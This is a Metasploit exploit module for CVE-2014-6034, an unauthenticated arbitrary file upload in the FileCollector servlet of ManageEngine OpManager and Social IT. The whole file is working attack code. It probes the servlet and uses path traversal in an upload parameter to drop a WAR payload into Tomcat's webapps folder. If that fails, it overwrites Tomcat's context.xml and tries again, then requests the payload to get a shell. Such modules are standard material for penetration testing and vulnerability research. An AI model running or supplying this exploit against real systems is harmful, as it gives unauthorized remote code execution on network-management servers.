ManageEngine OpManager / Social IT Arbitrary File Upload

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ManageEngine OpManager / Social IT Arbitrary File Upload',  
'Description' => %q{  
This module exploits a file upload vulnerability in ManageEngine OpManager and Social IT.  
The vulnerability exists in the FileCollector servlet which accepts unauthenticated  
file uploads. This module has been tested successfully on OpManager v8.8 - v11.3 and on  
version 11.0 of SocialIT for Windows and Linux.  
},  
'Author' =>  
[  
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2014-6034' ],  
[ 'OSVDB', '112276' ],  
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_opmanager_socialit_it360.txt' ],  
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Sep/110' ]  
],  
'Privileged' => true,  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'Targets' =>  
[  
[ 'OpManager v8.8 - v11.3 / Social IT Plus 11.0 Java Universal', { } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Sep 27 2014'))  
  
register_options(  
[  
Opt::RPORT(80),  
OptInt.new('SLEEP',  
[true, 'Seconds to sleep while we wait for WAR deployment', 15]),  
], self.class)  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri("/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector"),  
'method' => 'GET'  
})  
  
# A GET request on this servlet returns "405 Method not allowed"  
if res and res.code == 405  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Safe  
end  
  
  
def upload_war_and_exec(try_again, app_base)  
tomcat_path = '../../../tomcat/'  
servlet_path = '/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector'  
  
if try_again  
# We failed to obtain a shell. Either the target is not vulnerable or the Tomcat configuration  
# does not allow us to deploy WARs. Fix that by uploading a new context.xml file.  
# The file we are uploading has the same content apart from privileged="false" and lots of XML comments.  
# After replacing the context.xml file let's upload the WAR again.  
print_status("#{peer} - Replacing Tomcat context file")  
send_request_cgi({  
'uri' => normalize_uri(servlet_path),  
'method' => 'POST',  
'data' => %q{<?xml version='1.0' encoding='utf-8'?><Context privileged="true"><WatchedResource>WEB-INF/web.xml</WatchedResource></Context>},  
'ctype' => 'application/xml',  
'vars_get' => {  
'regionID' => tomcat_path + "conf",  
'FILENAME' => "context.xml"  
}  
})  
else  
# We need to create the upload directories before our first attempt to upload the WAR.  
print_status("#{peer} - Creating upload directories")  
bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))  
send_request_cgi({  
'uri' => normalize_uri(servlet_path),  
'method' => 'POST',  
'data' => rand_text_alphanumeric(4 + rand(32 - 4)),  
'ctype' => 'application/xml',  
'vars_get' => {  
'regionID' => "",  
'FILENAME' => bogus_file  
}  
})  
register_files_for_cleanup("state/archivedata/zip/" + bogus_file)  
end  
  
war_payload = payload.encoded_war({ :app_name => app_base }).to_s  
  
print_status("#{peer} - Uploading WAR file...")  
res = send_request_cgi({  
'uri' => normalize_uri(servlet_path),  
'method' => 'POST',  
'data' => war_payload,  
'ctype' => 'application/octet-stream',  
'vars_get' => {  
'regionID' => tomcat_path + "webapps",  
'FILENAME' => app_base + ".war"  
}  
})  
  
# The server either returns a 500 error or a 200 OK when the upload is successful.  
if res and (res.code == 500 or res.code == 200)  
print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s +  
" seconds for deployment")  
sleep(datastore['SLEEP'])  
else  
fail_with(Exploit::Failure::Unknown, "#{peer} - WAR upload failed")  
end  
  
print_status("#{peer} - Executing payload, wait for session...")  
send_request_cgi({  
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),  
'method' => 'GET'  
})  
end  
  
  
def exploit  
app_base = rand_text_alphanumeric(4 + rand(32 - 4))  
  
upload_war_and_exec(false, app_base)  
register_files_for_cleanup("tomcat/webapps/" + "#{app_base}.war")  
  
sleep_counter = 0  
while not session_created?  
if sleep_counter == datastore['SLEEP']  
print_error("#{peer} - Failed to get a shell, let's try one more time")  
upload_war_and_exec(true, app_base)  
return  
end  
  
sleep(1)  
sleep_counter += 1  
end  
end  
end  
`